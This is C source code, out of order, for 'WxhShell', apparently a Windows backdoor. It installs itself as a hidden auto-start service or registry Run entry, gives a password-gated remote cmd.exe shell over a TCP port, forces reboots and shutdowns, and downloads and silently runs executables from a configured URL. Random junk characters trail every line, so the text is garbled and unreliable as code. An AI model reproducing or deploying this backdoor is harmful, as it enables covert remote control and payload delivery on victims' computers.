    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Uz2(zqS  
    if(Boot(SHUTDOWN)) |76G#K~<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6f=,$:S$  
    else { ~HW8mly'  
    closesocket(wsh); dP[vXhc  
    ExitThread(0); 0EWov~Y?  
    } AQ}(v,DOb  
    break; &P2tzY'  
    } }G{'Rb  
  // 获取shell TNi4H:\  
  case 's': { SynL%Y9)|,  
    CmdShell(wsh); w_gFN%8  
    closesocket(wsh); +-%&,>R  
    ExitThread(0); VIIBw  
    break; YgiLfz iT  
  } &\n<pXQ  
  // 退出 tr[(,kX  
  case 'x': { mBAI";L3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aL)}S%5o?  
    CloseIt(wsh); [nSlkl   
    break; mZ%"""X\Ei  
    } 4O I''i  
  // 离开 v@xbur\L  
  case 'q': { 3EY>XS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 30BFwNE  
    closesocket(wsh); QaVxP1V#U  
    WSACleanup(); Ca2He}r`  
    exit(1); -'!K("  
    break; $m hIX A.  
        }  AqqD!  
  } st7\k]J\  
  } MC'2;,  
ejF GeR  
  // 提示信息 NE~R&ym9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HQ187IwpTm  
} n0\k(@+k  
  } r%:Q(|v?  
X=1Po|  
  return; s%cfJe_k  
} / 5\gP//9K  
7O.?I# 76  
// shell模块句柄 t[r<&1[&  
int CmdShell(SOCKET sock) ^X?D4a|;#g  
{ uT Z#85L `  
STARTUPINFO si; _VjfjA<c8  
ZeroMemory(&si,sizeof(si)); *A^`[_y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T'W@fif  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W5)R{w0`GD  
PROCESS_INFORMATION ProcessInfo; r 9~Wh $  
char cmdline[]="cmd"; o[A y2"e?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {M_*hR;lL  
  return 0; s^&Oh*SP*  
} =/#+,  
_N @ h  
// 自身启动模式 ;q"Yz-3  
int StartFromService(void) ~[N"Q|D3Y  
{ B2kKEMdGg  
typedef struct vC [uEx:  
{  S6d&w6  
  DWORD ExitStatus; qOqU CRUe:  
  DWORD PebBaseAddress; Xn%ty@8  
  DWORD AffinityMask; H{d;, KfX  
  DWORD BasePriority; vvi[+$M  
  ULONG UniqueProcessId; @$*LU:[  
  ULONG InheritedFromUniqueProcessId; &s{" Vc9]  
}   PROCESS_BASIC_INFORMATION; yIq. m=  
 %"jp':  
PROCNTQSIP NtQueryInformationProcess; [X&VxTxr  
Lu][0+-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; swTur  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,N1I\f  
/0_^Z2  
  HANDLE             hProcess; cWU9mzsE  
  PROCESS_BASIC_INFORMATION pbi; *+UgrsRk  
5R%4fzr&g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A &tMj?  
  if(NULL == hInst ) return 0; G u4mP  
m~f J_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .7K<9K+P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L ,/(^0;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [6u8EP0xM  
\RF{ITV$kD  
  if (!NtQueryInformationProcess) return 0; xb (Cd  
;1MRBk,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |19zjhl  
  if(!hProcess) return 0; svWQk9d  
%7wNS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vmGGdj5aI  
=jWjUkm2  
  CloseHandle(hProcess); 0|chRX  
}od5kK;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ' X9D(?O  
if(hProcess==NULL) return 0; $&ZN%o3  
x-@}x@n&[  
HMODULE hMod; bm\Zp  
char procName[255]; DX b=Ku  
unsigned long cbNeeded; +M{A4nYY|1  
Uaz$<K6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \:5M0  
=U`9_]~1c@  
  CloseHandle(hProcess); O/ ih9,  
U{Xx)l/o  
if(strstr(procName,"services")) return 1; // 以服务启动 Pw|J([  
GE!fh1[[u  
  return 0; // 注册表启动 q(s&2|  
} W }  
-L6V)aK&  
// 主模块 Q13>z%Rge  
int StartWxhshell(LPSTR lpCmdLine) ^V?W'~  
{ 0K:3?Ik  
  SOCKET wsl; JU`5K}H<  
BOOL val=TRUE; zqlgJn  
  int port=0; zf.&E3Sn  
  struct sockaddr_in door; + d289"  
,&ld:v?~  
  if(wscfg.ws_autoins) Install(); rk)h_zN  
-VafN   
port=atoi(lpCmdLine); \(4kEB2s$  
;56mkP  
if(port<=0) port=wscfg.ws_port; 0ME.O +  
2S@aG%-)  
  WSADATA data; gw_]Y^U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ch0t'  
gCP f1z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZQN%!2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N#&/d nV  
  door.sin_family = AF_INET; zy\R>4i'#Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "eH.<&  
  door.sin_port = htons(port); P>wTp)  
*V[6ta'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *R_mvJlT  
closesocket(wsl); ,1ceNF#oL  
return 1; @E !`:/k  
} Hq!|(  
j1i<.,0g  
  if(listen(wsl,2) == INVALID_SOCKET) { &Ndq ^!e  
closesocket(wsl); d3&l!DoX  
return 1; kNC]q,ljt5  
} aQ#6PO7.Z  
  Wxhshell(wsl); {Q/_I@m].  
  WSACleanup(); EF5:$#  
X775j"<d  
return 0; i"GCm`  
9*CJWS;  
} 9 lH00n+'  
TYu(;~   
// 以NT服务方式启动 Q$:>yveR*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lEr_4!h$rZ  
{ H^J waF  
DWORD   status = 0; qGhwbg  
  DWORD   specificError = 0xfffffff; ]s>y se  
K0-AP $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8I)}c1j`v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i7|sVz=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >,A&(\rO  
  serviceStatus.dwWin32ExitCode     = 0; e;r?g67  
  serviceStatus.dwServiceSpecificExitCode = 0; D&/~lhyNZ  
  serviceStatus.dwCheckPoint       = 0; 4&_|myO&  
  serviceStatus.dwWaitHint       = 0; X{-901J1  
IRY/0v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  .H7xG'$  
  if (hServiceStatusHandle==0) return; F&)(G\  
~7O.}RP0  
status = GetLastError(); g"|/^G_6S  
  if (status!=NO_ERROR) 4) z*Vux  
{ 5169E*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;Sw % t(@  
    serviceStatus.dwCheckPoint       = 0; >>R,P Ow-  
    serviceStatus.dwWaitHint       = 0; jrLV\(p  
    serviceStatus.dwWin32ExitCode     = status; ^#p+#_*V  
    serviceStatus.dwServiceSpecificExitCode = specificError; K<~J*k<v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^/:G`'  
    return; 4fgYO]  
  } %=<Kb\  
`#y?:s ]e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ojs ^-R_  
  serviceStatus.dwCheckPoint       = 0; mgI7zJX  
  serviceStatus.dwWaitHint       = 0; _eg&j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;(0|2I'"  
} *^s^{0Ad  
&A)u!l Ue  
// 处理NT服务事件,比如:启动、停止 )Bpvi4O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i_ z4;%#?  
{ 2e*"<>aeq  
switch(fdwControl) oQ/ Dg+Xp  
{ 7CV}QV}G  
case SERVICE_CONTROL_STOP: S0jYk (  
  serviceStatus.dwWin32ExitCode = 0; qN@0k>11?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RDsBO4RG  
  serviceStatus.dwCheckPoint   = 0; HWOOw&^<  
  serviceStatus.dwWaitHint     = 0; x/,(G~  
  { #8sv*8&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B4{clI_i  
  } `71(wf1q[f  
  return; w+G+&ak<  
case SERVICE_CONTROL_PAUSE: &+Yoob]P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  ie4BE'  
  break; @78%6KZ`i  
case SERVICE_CONTROL_CONTINUE: lm\~_ 4l1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DWmViuZmL  
  break; "C'T>^qw*  
case SERVICE_CONTROL_INTERROGATE: u3])_oj=  
  break; ~=i<O&nai  
}; jPA^SxM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U^ Ulj/%6  
} `2PvE4]%p  
M#o'hc  
// 标准应用程序主函数 7>!Rg~M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l2 mO{'|C  
{ dH_g:ocA  
3}gf %U]L  
// 获取操作系统版本 vq-# %o  
OsIsNt=GetOsVer(); CCp&+LRvR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ql2O%B.6?  
*Fu;sR2y%:  
  // 从命令行安装 la{Iqm{i  
  if(strpbrk(lpCmdLine,"iI")) Install(); GPLq$^AH  
>A ?{cbJ  
  // 下载执行文件 &N:`Rler  
if(wscfg.ws_downexe) { TM<;Nj[*n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .V.ga2+  
  WinExec(wscfg.ws_filenam,SW_HIDE); M\6u4p!G!  
} -EIfuh  
a1 .+L  
if(!OsIsNt) { LR Dj!{k{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' i<}/l  
HideProc(); qJq!0F  
StartWxhshell(lpCmdLine); <EM'|IR?  
} 2{I+H'w8:  
else }KFM8CbS  
  if(StartFromService()) g ^4<ve  
  // 以服务方式启动 (M nK \^Y  
  StartServiceCtrlDispatcher(DispatchTable); qfa[KD)!aB  
else o7 1f<&1  
  // 普通方式启动 M TOZ:b  
  StartWxhshell(lpCmdLine); *wu|(t_ A  
C[s='v~}  
return 0; C*&FApG  
} S?e*<s9k  
'm|PSwB7  
z\r29IRh  
=x5k5NIF  
=========================================== SJ).L.Cm6  
(ioJ G-2u  
_ m<@ou7  
q^^&nz<A  
`VD7VX,rp*  
l$DQkbOj  
" R~H+.Vh  
{bMOT*X=A  
#include <stdio.h> :,1 kSM%r  
#include <string.h> ^zVW 3 Y q  
#include <windows.h> >v1ajI>O&{  
#include <winsock2.h> idSc#n22  
#include <winsvc.h> ;`:A(yN]T  
#include <urlmon.h> -cs$E2 -  
D,&o=EU  
#pragma comment (lib, "Ws2_32.lib") Zg/ ],/`  
#pragma comment (lib, "urlmon.lib") z%44@TP  
Dio9'&DtC  
#define MAX_USER   100 // 最大客户端连接数 X}G3>HcP  
#define BUF_SOCK   200 // sock buffer ,<O|Iis  
#define KEY_BUFF   255 // 输入 buffer ^Kfm(E  
7]lUPLsl  
#define REBOOT     0   // 重启 *!&,)''  
#define SHUTDOWN   1   // 关机 {D7v[P+  
,pR.HCR#Y  
#define DEF_PORT   5000 // 监听端口 IXof- I%8  
@lTd,V5f  
#define REG_LEN     16   // 注册表键长度 j V~+=(w)  
#define SVC_LEN     80   // NT服务名长度 bm#/ KT_8  
Yrmd hSY  
// 从dll定义API PIZK*Lop  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KAR **Mp+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #s3R4@{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;QqC c!b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); akV-|v_  
JHCXUT-r{  
// wxhshell配置信息 dz=pL$C  
struct WSCFG { meArS*d  
  int ws_port;         // 监听端口 ;Wedj\Kkp  
  char ws_passstr[REG_LEN]; // 口令 ]/c!;z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 734<X6^1  
  char ws_regname[REG_LEN]; // 注册表键名 NZ:KJ8ea"  
  char ws_svcname[REG_LEN]; // 服务名 iNv"!'|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *TC#|5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h$$2(!G4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H rI(uZ]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lCiRvh1K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N%fDgK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9/$Cq  
l }WvO]  
}; !]2`dp\!  
9Z lfY1=  
// default Wxhshell configuration $3yn-'o'A  
struct WSCFG wscfg={DEF_PORT, GyLp&aa  
    "xuhuanlingzhe", `IH*~d]  
    1, :[!b";pR  
    "Wxhshell", ]Ia}H+&  
    "Wxhshell", C1po]Ott*  
            "WxhShell Service", @ *n oma  
    "Wrsky Windows CmdShell Service", , ^@z;xF  
    "Please Input Your Password: ", )8 %lZ {  
  1, !T$h? o  
  "http://www.wrsky.com/wxhshell.exe", @:K={AIa  
  "Wxhshell.exe" l?:S)[:  
    }; s>ohXISB[  
(\M+E tU<9  
// 消息定义模块 *:8,w?Nt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  LXf *  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~w"e 2a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +r$M 9  
char *msg_ws_ext="\n\rExit."; yt1dYF0Xq  
char *msg_ws_end="\n\rQuit."; ]7J*(,sp  
char *msg_ws_boot="\n\rReboot..."; /A1qTG=Br  
char *msg_ws_poff="\n\rShutdown..."; cd]def[d  
char *msg_ws_down="\n\rSave to "; A&L2&ofV&q  
^|ul3_'?  
char *msg_ws_err="\n\rErr!"; W #V`|JA  
char *msg_ws_ok="\n\rOK!"; CM4#Nn=i~  
- sL4tMP  
char ExeFile[MAX_PATH]; !;M5.Y1j&"  
int nUser = 0; wH]Y1 m  
HANDLE handles[MAX_USER]; 6@-O#,]J  
int OsIsNt; LZ z]4Mf  
v{oHC4  
SERVICE_STATUS       serviceStatus; r;SOAucX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xaNM?]%  
 2c%b  
// 函数声明 |DLmMsS4  
int Install(void); UqNUP+K  
int Uninstall(void); DH!_UV  
int DownloadFile(char *sURL, SOCKET wsh); gIY]hC.  
int Boot(int flag); 8DcIM(;Z  
void HideProc(void); _`+2e-  
int GetOsVer(void); A75z/O{  
int Wxhshell(SOCKET wsl); a}V<CBi  
void TalkWithClient(void *cs); x/uC)xm  
int CmdShell(SOCKET sock); O]80";Uv  
int StartFromService(void); ,nSapmg  
int StartWxhshell(LPSTR lpCmdLine); yt#~n _  
tG*HUN?*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bj7r"_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1R"Z+tNB  
g96]>]A<{  
// 数据结构和表定义 F&$~]R=&  
SERVICE_TABLE_ENTRY DispatchTable[] = /TY=ig1z  
{ ~qkn1N%'  
{wscfg.ws_svcname, NTServiceMain}, DvY)n<U1qA  
{NULL, NULL} hGb SN_F  
}; G!E1N(%o  
(x140_TH~  
// 自我安装 T0"q,lrdxV  
int Install(void) Tzr'3m_  
{ lD6PKZ\RIj  
  char svExeFile[MAX_PATH]; mO&zE;/[  
  HKEY key; n7pjj  
  strcpy(svExeFile,ExeFile); C~R,,  
cHX~-:KOr  
// 如果是win9x系统,修改注册表设为自启动 0`Y"xN`'i  
if(!OsIsNt) { @o>3 Bv.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V?-SvQIk1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b] ~  
  RegCloseKey(key); ?<U">8cP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /-&2>4I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ="P&!lu  
  RegCloseKey(key); 5 #Et.P'  
  return 0; 2 >/}-a  
    } QSyPtjg]  
  } +u;RFY^  
} kerBy\^  
else { TnJJ& "~3b  
sZI$t L<j  
// 如果是NT以上系统,安装为系统服务 $PFE>=nM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \CrWKBL  
if (schSCManager!=0) =`.OKUAn  
{ wW|[Im&  
  SC_HANDLE schService = CreateService ZiC~8p_f  
  ( 2<tU  
  schSCManager, cBQ+`DXn5c  
  wscfg.ws_svcname, !YIW8SP)  
  wscfg.ws_svcdisp, H0-v^H>^  
  SERVICE_ALL_ACCESS, La r9}nx0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SHRn $<  
  SERVICE_AUTO_START, o "1X8v  
  SERVICE_ERROR_NORMAL, WT jy"p*  
  svExeFile, g[(Eh?]Sc  
  NULL, *Qy,?2  
  NULL, rkn'1M&u  
  NULL, N `[ ?db-%  
  NULL, Y7<(_p7  
  NULL #sM*<2vj  
  ); t4<+]]   
  if (schService!=0) ,tak{["  
  { y\ax?(z  
  CloseServiceHandle(schService); F&a)mpFv3c  
  CloseServiceHandle(schSCManager); USzO):o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oW3|b2D  
  strcat(svExeFile,wscfg.ws_svcname); 3o`c`;H%p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4P^CqD&i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v0KJKrliGO  
  RegCloseKey(key); k1~? }+<e  
  return 0; ="de+S8W  
    } F[*/D/y(  
  } S#nW )=   
  CloseServiceHandle(schSCManager); B!((N{4H+  
} 6rMNp"!  
} o8fY!C)  
 }A&I@2d  
return 1; q,>4#J[2;s  
} @bZ,)R  
@|<qTci  
// 自我卸载 _&aPF/  
int Uninstall(void) ,$Xhwr  
{ uLSuY}K0  
  HKEY key; Y=Om0=v  
/]-a 1  
if(!OsIsNt) { W^)'rH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6@FGt3y  
  RegDeleteValue(key,wscfg.ws_regname); I-m Bj8^;  
  RegCloseKey(key); _2w8S\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3f(tb%pa5  
  RegDeleteValue(key,wscfg.ws_regname); ~nb1c:F  
  RegCloseKey(key); TNlOj a:  
  return 0; .,\^{.E  
  } $8`"  
} J$i.^|hE/  
} GezMqt;2  
else { ^/~C\ (  
.+&M,% x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5A+r^xN  
if (schSCManager!=0) d fSj= 4  
{ 1u~a*lO}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5em*9Ko  
  if (schService!=0) j7~Rw"(XQc  
  { e?+&2zMq  
  if(DeleteService(schService)!=0) { wY"BPl]b  
  CloseServiceHandle(schService); Y6m:d&p=}  
  CloseServiceHandle(schSCManager); /xCX. C  
  return 0; P DwBSj  
  } "6gBbm  
  CloseServiceHandle(schService); U\-=|gQ'  
  } <[?ZpG  
  CloseServiceHandle(schSCManager); f([d/  
} vF)eo"_s*  
} Qcn;:6_&W  
,,]<f*N  
return 1; wK0],,RN,h  
} |q c<C&O  
d&naJ)IoF)  
// 从指定url下载文件 *z&hXYm  
int DownloadFile(char *sURL, SOCKET wsh) +*wr=9>  
{ t&~*!w!+jH  
  HRESULT hr; yz=aJ v; H  
char seps[]= "/"; 8khIy-9-'  
char *token; -PTfsQk  
char *file; } ^2'@y!(  
char myURL[MAX_PATH]; onl,R{,`0  
char myFILE[MAX_PATH]; (U@$gkUx}G  
5,?^SK|'x  
strcpy(myURL,sURL); B`:l;<&jX  
  token=strtok(myURL,seps); f o idneus  
  while(token!=NULL) TQth"Cv2:  
  { cp6I]#X  
    file=token; \- 8aTF  
  token=strtok(NULL,seps); (wf3HEb_  
  } j<)`|?@e(  
sfk;c#K  
GetCurrentDirectory(MAX_PATH,myFILE); *!ecb1U5  
strcat(myFILE, "\\"); ZFs xsg^r  
strcat(myFILE, file); Z9eP(ip  
  send(wsh,myFILE,strlen(myFILE),0); 1Cw HGO  
send(wsh,"...",3,0); xqfIm%9i}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A2SDEVU  
  if(hr==S_OK) L~C:1VG5  
return 0; -_= m j  
else :QC |N@C  
return 1; 8vQR'<,  
a\&g;n8jA  
} w-3Lw<  
&Tg~A9y\  
// 系统电源模块 ZS[Ut  
int Boot(int flag) D"exI]  
{ 1u"#rC>7.4  
  HANDLE hToken; @hy~H?XN  
  TOKEN_PRIVILEGES tkp; T3@34}*  
hD{ `j  
  if(OsIsNt) { Nh\o39=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f{2I2kJr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J?Oeuk~[D  
    tkp.PrivilegeCount = 1; qG +PqK;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3i~X`@$k>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L3A2A  
if(flag==REBOOT) { 'mZQ}U=<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )iFXa<5h  
  return 0; O=6[/oc '  
} "28zLo3  
else { FIUQQQ\3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3,n"d-  
  return 0; kn/xt  
} f~7V<v  
  } k8r1)B4ab  
  else { Z\cD98B#  
if(flag==REBOOT) { ]r'D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M3r;Pdj2r  
  return 0; VOIni<9y  
} eD7qc1*G  
else { P3nBxw"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rA E5.Q!u  
  return 0; |a %Wd  
} hzT)5'_  
} '8[; m_S  
Tgh?=]H  
return 1; -hc8IS  
} v0?SN>fZ  
BGHZL~  
// win9x进程隐藏模块 h1l%\3ZH  
void HideProc(void) &x;n^W;#  
{ >P]gjYN  
cICf V,j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <@Vf:`a!P>  
  if ( hKernel != NULL ) J4@-?xj=\q  
  { zQ#* O'-n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I?^(j;QpS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .h\Py[h<^  
    FreeLibrary(hKernel); @_W13@|  
  } a&UzIFdB  
+(y 8q  
return; Cc;8+Z=a?G  
} aNA ]hl  
,HI% ym  
// 获取操作系统版本 Io[NN aF|  
int GetOsVer(void) _3< P(w{  
{ qDU4W7|T`  
  OSVERSIONINFO winfo; >|yP`m   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EiG5k.C@  
  GetVersionEx(&winfo); a=`] L`|N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /0$fYrg>J  
  return 1; (=%0$(S>  
  else <fF|AbC:  
  return 0; noM=8C&U  
} [YZgQ  
!0vLSF=  
// 客户端句柄模块 b`@C#qB  
int Wxhshell(SOCKET wsl) :HwdXhA6  
{ EB*C;ms  
  SOCKET wsh; &AWrM{e  
  struct sockaddr_in client; *")*w> R  
  DWORD myID; H5 V>d  
*C<;yPVc  
  while(nUser<MAX_USER) >oO]S]W  
{ Z4rk$K'=1w  
  int nSize=sizeof(client); dfKGO$}V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ow.DBL)x'>  
  if(wsh==INVALID_SOCKET) return 1; 1z-A3a/-  
5+;Mc[V3-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IvlfX`("  
if(handles[nUser]==0) jM @N<k  
  closesocket(wsh); 0{ ~2mggh  
else C ocw%Yl  
  nUser++; VBw 5[  
  } 841y"@*BY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); - jCj_@n  
e([>sAx!1  
  return 0; B\e*-:pq>  
} l#%7BGwzY  
}WaZ+Mdg\  
// 关闭 socket 9x|`XAB  
void CloseIt(SOCKET wsh) C#^y{q  
{ jT}={[9b  
closesocket(wsh); )Jdku}Pf  
nUser--; \$*CXjh3G  
ExitThread(0); t$wbwP  
} >TY;l3ew  
_U-`/r o  
// 客户端请求句柄 9} m?E<6&  
void TalkWithClient(void *cs) GBT|1c'i  
{ +L`}(yLJ)9  
I:G8B5{J  
  SOCKET wsh=(SOCKET)cs; {-8Nq`w  
  char pwd[SVC_LEN]; ^D6TeH  
  char cmd[KEY_BUFF]; goA=U  
char chr[1]; elQjPvb  
int i,j; Z\xnPhV  
yCav;ZS_  
  while (nUser < MAX_USER) { `lWGwFgg(  
I`H&b& .`  
if(wscfg.ws_passstr) { 8V 4e\q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xPPA8~Dm*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BV:Ca34&  
  //ZeroMemory(pwd,KEY_BUFF); y<6c*e1  
      i=0; cv-rEHT  
  while(i<SVC_LEN) { Nw$OJ9$L>  
B^r?N-Z A  
  // 设置超时 o{`x:  
  fd_set FdRead; 1*2ycfa  
  struct timeval TimeOut; 4=/jh:h  
  FD_ZERO(&FdRead); XsQ81j.  
  FD_SET(wsh,&FdRead);  1n +Uv*  
  TimeOut.tv_sec=8; Tx!t3;Yz[  
  TimeOut.tv_usec=0; A|S)cr8z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6p*X8j3pW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rDhQ3iCqo  
c:u*-lYmK%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eZqEFMBTm  
  pwd=chr[0]; ZY]$MZf5yo  
  if(chr[0]==0xd || chr[0]==0xa) { ^4+NPk  
  pwd=0; kN Ll|in@  
  break; lZL+j6Q  
  } 1W{oj  
  i++; J8p;1-C"  
    } n]`]gLF\i  
#Iv KI+"  
  // 如果是非法用户,关闭 socket a1y<Y`SC9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'ia-h7QWS  
} 7@\.()  
BVNJas  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v_EgY2l(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IDT\hTPIs  
?'+]d;UO&  
while(1) { cZ|*Zpk  
D]fuX|f~ul  
  ZeroMemory(cmd,KEY_BUFF); v:QUwW  
)'T].kWW  
      // 自动支持客户端 telnet标准   7PMz6  
  j=0; T` h%=u|D  
  while(j<KEY_BUFF) { &)tiO>B^6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G=|?aK{p  
  cmd[j]=chr[0]; 1F,U^O  
  if(chr[0]==0xa || chr[0]==0xd) { Ig}hap]G  
  cmd[j]=0; 5=I({=/>  
  break; e'A_4;~@s  
  } Os'E7;:1h  
  j++; //BJaWq  
    } [|oG}'Xz  
1C{0 R.  
  // 下载文件 Si]?4:E7=  
  if(strstr(cmd,"http://")) { 7*+CX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M$%ON>K q  
  if(DownloadFile(cmd,wsh)) %xCL&}bY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$xtUCqX  
  else slPr^)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7HH@7vpJ^  
